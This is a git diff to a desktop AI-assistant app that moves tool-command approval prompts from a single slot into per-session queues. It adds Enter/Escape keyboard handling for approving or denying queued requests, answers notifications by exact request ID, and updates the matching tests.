diff --git a/apps/desktop/src/components/assistant-ui/tool/fallback.tsx b/apps/desktop/src/components/assistant-ui/tool/fallback.tsx
index e50270cff72..9701155f5e2 100644
--- a/apps/desktop/src/components/assistant-ui/tool/fallback.tsx
+++ b/apps/desktop/src/components/assistant-ui/tool/fallback.tsx
@@ -48,12 +48,10 @@ import { toolResultRecord } from '@/lib/tool-result-metadata'
import { useEnterAnimation } from '@/lib/use-enter-animation'
import { cn } from '@/lib/utils'
import { recordPreviewArtifact } from '@/store/preview-status'
-import { sessionApprovalRequest } from '@/store/prompts'
import { $toolInlineDiff } from '@/store/tool-diffs'
import { $toolRowDismissed, dismissToolRow } from '@/store/tool-dismiss'
import { $anyToolDisclosureOpen, $toolDisclosureOpen, $toolViewMode, setToolDisclosureOpen } from '@/store/tool-view'
-import { APPROVAL_TOOLS, PendingToolApproval } from './approval'
import {
buildToolView,
clampForDisplay,
@@ -617,7 +615,6 @@ function ToolEntry({ part }: ToolEntryProps) {
</span>
</DisclosureRow>
</div>
- {isPending && <PendingToolApproval part={part} />}
{open && (
<div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
{copyAction.text && (
@@ -856,8 +853,6 @@ interface ToolRunState {
key: string
live: boolean
startedAt?: number
- /** A call still awaiting a result that could be the one blocking on approval. */
- pendingApprovalTool: boolean
summary: string
}
@@ -934,9 +929,6 @@ function useToolRun(startIndex: number, endIndex: number): ToolRunState {
: Math.min(earliest, tool.timestamp),
undefined
),
- pendingApprovalTool: timelineTools.some(
- tool => tool.result === undefined && tool.completedAt === undefined && APPROVAL_TOOLS.has(tool.toolName)
- ),
summary: summarizeToolRun(tools, live)
}
}
@@ -958,7 +950,7 @@ function useToolRun(startIndex: number, endIndex: number): ToolRunState {
*
* Live, the run is a summary plus the one-line ticker. Settled, the summary is
* the whole of it until the user opens it. `ToolEmbedContext` is false so each
- * row still owns its own chrome (timer / copy / approval) when shown.
+ * row still owns its own chrome (timer / copy) when shown.
*/
const ToolRun: FC<PropsWithChildren<{ endIndex: number; startIndex: number }>> = ({
children,
@@ -967,13 +959,8 @@ const ToolRun: FC<PropsWithChildren<{ endIndex: number; startIndex: number }>> =
}) => {
const messageRunning = useAuiState(selectMessageRunning)
- const { completedAt, count, entryIds, key, live, pendingApprovalTool, startedAt, summary } = useToolRun(
- startIndex,
- endIndex
- )
+ const { completedAt, count, entryIds, key, live, startedAt, summary } = useToolRun(startIndex, endIndex)
- const sessionId = useStore(useSessionView().$runtimeId)
- const approval = useStore(useMemo(() => sessionApprovalRequest(sessionId), [sessionId]))
const disclosureId = `tool-run:${key}`
const persistedOpen = useStore($toolDisclosureOpen(disclosureId))
const rowOpen = useStore(useMemo(() => $anyToolDisclosureOpen(entryIds), [entryIds]))
@@ -985,13 +972,8 @@ const ToolRun: FC<PropsWithChildren<{ endIndex: number; startIndex: number }>> =
return <ToolRunDisclosureContext.Provider value={disclosureId}>{children}</ToolRunDisclosureContext.Provider>
}
- // Two things a one-line window can't hold. An approval is a question the
- // user has to answer, and expanded output is one they went looking for —
- // both would tick straight past, or be sliced to a single line, as the run
- // keeps going. Either one hands the run back its full height until the run
- // settles and the row can be reached through the summary instead.
- const blocked = Boolean(approval) && pendingApprovalTool
- const expanded = blocked || (persistedOpen ?? rowOpen)
+ // Expanded output stays reachable instead of ticking past in a one-line run.
+ const expanded = persistedOpen ?? rowOpen
return (
<ToolRunDisclosureContext.Provider value={disclosureId}>
@@ -1004,7 +986,7 @@ const ToolRun: FC<PropsWithChildren<{ endIndex: number; startIndex: number }>> =
<ToolRunHeader
completedAt={completedAt}
live={live}
- onToggle={blocked ? undefined : () => setToolDisclosureOpen(disclosureId, !expanded)}
+ onToggle={() => setToolDisclosureOpen(disclosureId, !expanded)}
open={expanded}
startedAt={startedAt}
summary={summary}
diff --git a/apps/desktop/src/components/prompt-overlays.tsx b/apps/desktop/src/components/prompt-overlays.tsx
index ac18b6a42d7..91b0e37545c 100644
--- a/apps/desktop/src/components/prompt-overlays.tsx
+++ b/apps/desktop/src/components/prompt-overlays.tsx
@@ -3,7 +3,7 @@
import { useStore } from '@nanostores/react'
import { type FormEvent, useCallback, useEffect, useMemo, useState } from 'react'
-import { PendingApprovalFallback } from '@/components/assistant-ui/tool/approval'
+import { PendingApprovalStack } from '@/components/assistant-ui/tool/approval'
import { Button } from '@/components/ui/button'
import {
Dialog,
@@ -582,7 +582,7 @@ function VaultCodeDialog({ sessionId }: { sessionId: string | null }) {
export function PromptOverlays({ sessionId }: { sessionId: string | null }) {
return (
<>
- <PendingApprovalFallback />
+ <PendingApprovalStack />
<SudoDialog sessionId={sessionId} />
<SecretDialog sessionId={sessionId} />
<VaultUnlockDialog sessionId={sessionId} />
diff --git a/apps/desktop/src/lib/keybinds/approval-keys.ts b/apps/desktop/src/lib/keybinds/approval-keys.ts
new file mode 100644
index 00000000000..54e6285c427
--- /dev/null
+++ b/apps/desktop/src/lib/keybinds/approval-keys.ts
@@ -0,0 +1,80 @@
+import { getActiveComposer } from '@/app/chat/composer/focus'
+import { RICH_INPUT_SLOT } from '@/app/chat/composer/rich-editor'
+import { queryAllVisible } from '@/components/pane-shell/pane-visibility'
+
+import { isEditableTarget } from './combo'
+import { composerFocusBlockedBySurface, isActivateOnEnterTarget } from './composer-focus-keys'
+
+let heldStack: HTMLElement | null = null
+
+export function releaseApprovalKey(): void {
+ heldStack = null
+}
+
+function activeApprovalStack(): HTMLElement | undefined {
+ const target = getActiveComposer()
+
+ return queryAllVisible<HTMLElement>('[data-approval-stack]').find(stack => {
+ const surface = stack.closest<HTMLElement>('[data-composer-target]')
+
+ return !surface || surface.dataset.composerTarget === target
+ })
+}
+
+/** One dispatch per keydown, never one listener per card or per session. */
+export function handleApprovalKey(event: KeyboardEvent): boolean {
+ if (
+ event.defaultPrevented ||
+ event.isComposing ||
+ event.altKey ||
+ event.shiftKey ||
+ (event.key !== 'Enter' && event.key !== 'Escape') ||
+ composerFocusBlockedBySurface()
+ ) {
+ releaseApprovalKey()
+ return false
+ }
+
+ const stack = activeApprovalStack()
+ const target = event.target instanceof HTMLElement ? event.target : null
+ const runTarget = target?.closest<HTMLElement>('[data-approval-run]')
+ const emptyComposer = target?.closest(`[data-slot="${RICH_INPUT_SLOT}"]`) && !target.textContent?.trim()
+
+ // A held key must have begun on THIS stack, not in a composer, terminal,
+ // dialog, or another session that happened to disappear while it was held.
+ if (event.repeat) {
+ if (!heldStack) {
+ return false
+ }
+ event.preventDefault()
+ event.stopPropagation()
+ if (stack !== heldStack || event.key !== 'Enter') {
+ return true
+ }
+ } else {
+ if (!stack || (isEditableTarget(target) && !emptyComposer)) {
+ return false
+ }
+ if (event.key === 'Enter' && isActivateOnEnterTarget(target) && !runTarget && !emptyComposer) {
+ return false
+ }
+ if (runTarget && !stack.contains(runTarget)) {
+ return false
+ }
+ heldStack = stack
+ event.preventDefault()
+ event.stopPropagation()
+ }
+
+ const selector = event.key === 'Enter' ? '[data-approval-run]' : '[data-approval-deny]'
+ const button = event.key === 'Enter' && !event.repeat && runTarget
+ ? runTarget as HTMLButtonElement
+ : stack?.querySelector<HTMLButtonElement>(selector)
+
+ // While the first reply is in flight, repeat does nothing. Once the exact
+ // card is removed, the next keydown sees the next card. No implicit allow-all.
+ if (button && !button.disabled) {
+ button.click()
+ }
+ return true
+}
diff --git a/apps/desktop/src/store/native-notifications.test.ts b/apps/desktop/src/store/native-notifications.test.ts
index 09d4d582b1c..b4d012d3cb2 100644
--- a/apps/desktop/src/store/native-notifications.test.ts
+++ b/apps/desktop/src/store/native-notifications.test.ts
@@ -16,7 +16,7 @@ import {
setNativeNotifyKind
} from './native-notifications'
import { __resetNativeNotifyBaselineForTests, markNativeNotifyBaseline } from './notify-baseline'
-import { $approvalRequest, setApprovalRequest } from './prompts'
+import { $approvalRequest, clearAllPrompts, setApprovalRequest } from './prompts'
import { markSessionGone, resetBackgroundPollingGuard } from './runtime-gone'
import { $activeSessionId, setActiveSessionId } from './session'
import { dropSessionState, publishSessionState } from './session-states'
@@ -327,6 +327,7 @@ describe('respondToApprovalAction', () => {
const request = vi.fn().mockResolvedValue({ resolved: true })
beforeEach(() => {
+ clearAllPrompts()
request.mockClear()
$gateway.set({ request } as unknown as ReturnType<typeof $gateway.get>)
})
@@ -341,13 +342,24 @@ describe('respondToApprovalAction', () => {
await respondToApprovalAction('bg', 'approve')
- expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'once', session_id: 'bg' })
+ expect(request).toHaveBeenCalledWith('approval.respond', { all: false, choice: 'once', session_id: 'bg' })
expect($approvalRequest.get()).toBeNull()
})
+ it('answers the exact notification request without clearing the rest of its stack', async () => {
+ setActiveSessionId('bg')
+ setApprovalRequest({ command: 'first', description: 'first', requestId: 'r1', sessionId: 'bg' })
+ setApprovalRequest({ command: 'second', description: 'second', requestId: 'r2', sessionId: 'bg' })
+ await respondToApprovalAction('bg', 'approve:r1')
+ expect(request).toHaveBeenCalledWith('approval.respond', { all: false, choice: 'once', request_id: 'r1', session_id: 'bg' })
+ expect($approvalRequest.get()?.requestId).toBe('r2')
+ await respondToApprovalAction('bg', 'approve:r1')
+ expect($approvalRequest.get()?.requestId).toBe('r2')
+ })
+
it('rejects via approval.respond {choice: "deny"}', async () => {
await respondToApprovalAction('bg', 'reject')
- expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'bg' })
+ expect(request).toHaveBeenCalledWith('approval.respond', { all: false, choice: 'deny', session_id: 'bg' })
})
it('ignores unknown action ids', async () => {
diff --git a/apps/desktop/src/store/native-notifications.ts b/apps/desktop/src/store/native-notifications.ts
index c02763a2096..b6548e09286 100644
--- a/apps/desktop/src/store/native-notifications.ts
+++ b/apps/desktop/src/store/native-notifications.ts
@@ -5,8 +5,7 @@ import { persistString, storedString } from '@/lib/storage'
import { $gateway } from './gateway'
import { withinNativeNotifyBaseline } from './notify-baseline'
-import { $approvalRequests, answerApproval } from './prompts'
-import { clearApprovalRequest } from './prompts'
+import { answerApproval, clearApprovalRequest, replayPendingApproval, sessionApprovalRequest, sessionApprovalRequests } from './prompts'
import { isSessionGone, isSessionGoneForBackgroundPolling, markSessionGone } from './runtime-gone'
import { $activeSessionId } from './session'
import { storedSessionIdForRuntimeId } from './session-states'
@@ -350,7 +349,9 @@ export function dispatchPluginNativeNotification(pluginId: string, input: Plugin
// Resolve a pending approval from a notification button, mirroring the in-app
// Run/Reject bar. Keyed by session id — a background approval has no local guard.
export async function respondToApprovalAction(sessionId: null | string, actionId: string): Promise<void> {
- const choice = actionId === 'approve' ? 'once' : actionId === 'reject' ? 'deny' : null
+ const [action, ...idParts] = actionId.split(':')
+ const requestId = idParts.length ? idParts.join(':') : sessionApprovalRequest(sessionId).get()?.requestId
+ const choice = action === 'approve' ? 'once' : action === 'reject' ? 'deny' : null
if (!choice) {
return
@@ -367,12 +368,13 @@ export async function respondToApprovalAction(sessionId: null | string, actionId
}
try {
- // The parked prompt knows how to answer itself: the live server request when
- // still open, else the owner-routed queue-level RPC (#91684 client half).
- const parked = $approvalRequests.get()[sessionId ?? '']
+ const parked = sessionApprovalRequests(sessionId).get().find(request => request.requestId === requestId)
- await answerApproval(gateway, parked ?? { sessionId: sessionId ?? null }, choice)
- clearApprovalRequest(sessionId)
+ await answerApproval(gateway, parked ?? { sessionId, requestId }, choice)
+ if (requestId || sessionApprovalRequest(sessionId).get()?.requestId === undefined) {
+ clearApprovalRequest(sessionId, requestId)
+ }
+ void replayPendingApproval(gateway, sessionId).catch(() => undefined)
} catch (error) {
if (sessionId && isSessionGoneForBackgroundPolling(error)) {
markSessionGone(sessionId)
diff --git a/apps/desktop/src/store/prompts.test.ts b/apps/desktop/src/store/prompts.test.ts
index 5e43d00391d..c0d984abdce 100644
--- a/apps/desktop/src/store/prompts.test.ts
+++ b/apps/desktop/src/store/prompts.test.ts
@@ -13,6 +13,7 @@ import {
clearSudoRequest,
receiveApprovalRequest,
replayPendingApproval,
+ sessionApprovalRequests,
setApprovalRequest,
setSecretRequest,
setSudoRequest
@@ -104,7 +105,7 @@ describe('approval prompt store', () => {
expect(calls).toEqual([['approval.received', { request_id: 'r1', session_id: 's1' }]])
})
- it('replays and acknowledges the oldest unresolved approval after reconnect', async () => {
+ it('replays and acknowledges every unresolved approval after reconnect', async () => {
const calls: Array<[string, Record<string, unknown>]> = []
const gateway = {
@@ -129,8 +130,29 @@ describe('approval prompt store', () => {
expect($approvalRequest.get()?.requestId).toBe('r1')
expect(calls).toEqual([
['approval.pending', { session_id: 's1' }],
- ['approval.received', { request_id: 'r1', session_id: 's1' }]
+ ['approval.received', { request_id: 'r1', session_id: 's1' }],
+ ['approval.received', { request_id: 'r2', session_id: 's1' }]
])
+ expect(sessionApprovalRequests('s1').get().map(request => request.requestId)).toEqual(['r1', 'r2'])
+ clearApprovalRequest('s1', 'r1')
+ expect($approvalRequest.get()?.requestId).toBe('r2')
+ })
+
+ it('deduplicates queued ids and rejects a replay that races an exact response', async () => {
+ const first = { command: 'first', description: 'd', requestId: 'r1', sessionId: 's1' }
+ const second = { ...first, command: 'second', requestId: 'r2' }
+ setApprovalRequest(first)
+ setApprovalRequest(second)
+ setApprovalRequest(first)
+ expect(sessionApprovalRequests('s1').get().map(request => request.requestId)).toEqual(['r1', 'r2'])
+ let finish!: (result: unknown) => void
+ const replay = replayPendingApproval({ request: () => new Promise(resolve => { finish = resolve }) }, 's1')
+ clearApprovalRequest('s1', 'r1')
+ finish({ approvals: [{ command: 'first', request_id: 'r1' }, { command: 'second', request_id: 'r2' }] })
+ await replay
+ expect(sessionApprovalRequests('s1').get()).toEqual([second])
+ clearAllPrompts('s1')
+ expect(sessionApprovalRequests('s1').get()).toEqual([])
})
it('clears an absent approval without overwriting a newer live request', async () => {
diff --git a/apps/desktop/src/store/prompts.ts b/apps/desktop/src/store/prompts.ts
index 5e4d5382c01..457734d17d5 100644
--- a/apps/desktop/src/store/prompts.ts
+++ b/apps/desktop/src/store/prompts.ts
@@ -121,7 +121,70 @@ export interface VaultUnlockRequest extends KeyedPrompt {
requestId: string
}
-const approval = keyedPromptStore<ApprovalRequest>()
+const EMPTY_APPROVALS: ApprovalRequest[] = []
+const $approvalQueues = atom<Record<string, ApprovalRequest[]>>({})
+// A replay started before a response/reset cannot resurrect the answered card.
+let approvalRevision = 0
+const sessionApprovalRevisions = new Map<string, number>()
+const approval = {
+ $all: computed($approvalQueues, queues =>
+ Object.fromEntries(Object.entries(queues).map(([key, queue]) => [key, queue[0]]))
+ ),
+ reset() {
+ approvalRevision += 1
+ sessionApprovalRevisions.clear()
+ $approvalQueues.set({})
+ },
+ set(request: ApprovalRequest) {
+ const key = keyFor(request.sessionId)
+ const queues = $approvalQueues.get()
+ const queue = queues[key] ?? EMPTY_APPROVALS
+ const index = queue.findIndex(item => item.requestId === request.requestId)
+ const next = [...queue]
+
+ if (index < 0) {
+ next.push(request)
+ } else {
+ next[index] = request
+ }
+
+ $approvalQueues.set({ ...queues, [key]: next })
+ },
+ clear(sessionId?: string | null, requestId?: string) {
+ if (sessionId === undefined) {
+ approvalRevision += 1
+ } else {
+ const key = keyFor(sessionId)
+ sessionApprovalRevisions.set(key, (sessionApprovalRevisions.get(key) ?? 0) + 1)
+ }
+ const queues = $approvalQueues.get()
+ const next = { ...queues }
+ let changed = false
+
+ for (const [key, queue] of Object.entries(queues)) {
+ if (sessionId !== undefined && key !== keyFor(sessionId)) {
+ continue
+ }
+
+ const remaining = requestId ? queue.filter(item => item.requestId !== requestId) : EMPTY_APPROVALS
+
+ if (remaining.length === queue.length) {
+ continue
+ }
+
+ changed = true
+ if (remaining.length) {
+ next[key] = remaining
+ } else {
+ delete next[key]
+ }
+ }
+
+ if (changed) {
+ $approvalQueues.set(next)
+ }
+ }
+}
const sudo = keyedPromptStore<SudoRequest>()
const secret = keyedPromptStore<SecretRequest>()
const vaultUnlock = keyedPromptStore<VaultUnlockRequest>()
@@ -146,19 +209,15 @@ export interface VaultCodeRequest extends KeyedPrompt {
const vaultCode = keyedPromptStore<VaultCodeRequest>()
-// Inline approval anchors, keyed by session: a tile's inline bar mounting must
-// not suppress the PRIMARY session's floating fallback (and vice versa).
-const $approvalInlineAnchors = atom<Record<string, number>>({})
-
-export const $approvalRequest = approval.$active
export const $approvalRequests = approval.$all
+export const $approvalRequest = computed([approval.$all, $activeSessionId], (all, activeId) => all[keyFor(activeId)] ?? null)
export const setApprovalRequest = approval.set
export const clearApprovalRequest = approval.clear
export async function receiveApprovalRequest(gateway: ApprovalGateway | null, request: ApprovalRequest): Promise<void> {
// A prompt restored from `approval.pending` must not clobber the live server
// request that already carries the same queue entry (it knows how to answer).
- const current = approval.$all.get()[keyFor(request.sessionId)]
+ const current = $approvalQueues.get()[keyFor(request.sessionId)]?.find(item => item.requestId === request.requestId)
if (current?.requestId && current.requestId === request.requestId && current.serverRequestId && !request.serverRequestId) {
return
@@ -189,7 +248,9 @@ export async function replayPendingApproval(gateway: ApprovalGateway | null, ses
return
}
- const previous = approval.$all.get()[keyFor(sessionId)]
+ const revision = approvalRevision
+ const sessionRevision = sessionApprovalRevisions.get(keyFor(sessionId))
+ const previous = $approvalQueues.get()[keyFor(sessionId)]
let rawResult: unknown
try {
@@ -209,36 +270,40 @@ export async function replayPendingApproval(gateway: ApprovalGateway | null, ses
const result =
rawResult && typeof rawResult === 'object' ? (rawResult as { approvals?: PendingApprovalPayload[] }) : {}
- // Live requests/responses outrank a replay that was already in flight.
- if (approval.$all.get()[keyFor(sessionId)] !== previous || !Array.isArray(result.approvals)) {
+ if (
+ revision !== approvalRevision ||
+ sessionRevision !== sessionApprovalRevisions.get(keyFor(sessionId)) ||
+ previous !== $approvalQueues.get()[keyFor(sessionId)]
+ ) {
return
}
- const pending = result.approvals[0]
-
- if (!pending) {
- clearApprovalRequest(sessionId, previous?.requestId)
-
+ if (!Array.isArray(result.approvals)) {
return
}
- if (typeof pending.request_id !== 'string') {
- return
+ const ids = new Set(result.approvals.map(pending => pending.request_id))
+ for (const request of previous ?? EMPTY_APPROVALS) {
+ if (request.requestId && !ids.has(request.requestId)) {
+ clearApprovalRequest(sessionId, request.requestId)
+ }
}
- if (previous?.requestId === pending.request_id) {
- return
- }
+ await Promise.all(result.approvals.map(pending => {
+ if (typeof pending.request_id !== 'string') {
+ return
+ }
- await receiveApprovalRequest(gateway, {
- allowPermanent: pending.allow_permanent !== false,
- choices: Array.isArray(pending.choices) ? pending.choices.filter(choice => typeof choice === 'string') : undefined,
- command: typeof pending.command === 'string' ? pending.command : '',
- description: typeof pending.description === 'string' ? pending.description : 'dangerous command',
- requestId: pending.request_id,
- sessionId,
- smartDenied: pending.smart_denied === true
- })
+ return receiveApprovalRequest(gateway, {
+ allowPermanent: pending.allow_permanent !== false,
+ choices: Array.isArray(pending.choices) ? pending.choices.filter(choice => typeof choice === 'string') : undefined,
+ command: typeof pending.command === 'string' ? pending.command : '',
+ description: typeof pending.description === 'string' ? pending.description : 'dangerous command',
+ requestId: pending.request_id,
+ sessionId,
+ smartDenied: pending.smart_denied === true
+ })
+ }))
}
/**
@@ -263,7 +328,7 @@ export async function answerApproval(
}
await requestForOwnedSession(request.sessionId, ambientRequestFor(gateway), 'approval.respond', {
- ...(all ? { all: true } : {}),
+ all,
choice,
...(request.requestId ? { request_id: request.requestId } : {}),
session_id: request.sessionId ?? undefined
@@ -272,6 +337,8 @@ export async function answerApproval(
/** The prompt request for one specific session — the tile counterpart of the
* active-session `$*Request` views (same map, fixed key). */
+export const sessionApprovalRequests = (sessionId: string | null) =>
+ computed($approvalQueues, all => all[keyFor(sessionId)] ?? EMPTY_APPROVALS)
export const sessionApprovalRequest = (sessionId: string | null) =>
computed(approval.$all, all => all[keyFor(sessionId)] ?? null)
export const sessionSudoRequest = (sessionId: string | null) =>
@@ -279,25 +346,6 @@ export const sessionSudoRequest = (sessionId: string | null) =>
export const sessionSecretRequest = (sessionId: string | null) =>
computed(secret.$all, all => all[keyFor(sessionId)] ?? null)
-export function registerApprovalInlineAnchor(sessionId: string | null): () => void {
- const key = keyFor(sessionId)
-
- const bump = (delta: number) => {
- const all = $approvalInlineAnchors.get()
- const next = Math.max(0, (all[key] ?? 0) + delta)
- $approvalInlineAnchors.set({ ...all, [key]: next })
- }
-
- bump(1)
-
- return () => bump(-1)
-}
-
-/** True when session `sessionId` has an inline approval bar mounted, so its
- * floating fallback should stand down. Per-session (not global). */
-export const sessionApprovalInlineVisible = (sessionId: string | null) =>
- computed($approvalInlineAnchors, anchors => (anchors[keyFor(sessionId)] ?? 0) > 0)
-
export const $sudoRequest = sudo.$active
export const $sudoRequests = sudo.$all
export const setSudoRequest = sudo.set
@@ -406,7 +454,6 @@ export function clearAllPrompts(sessionId?: string | null): void {
vaultUnlock.reset()
vaultSave.reset()
vaultCode.reset()
- $approvalInlineAnchors.set({})
return
}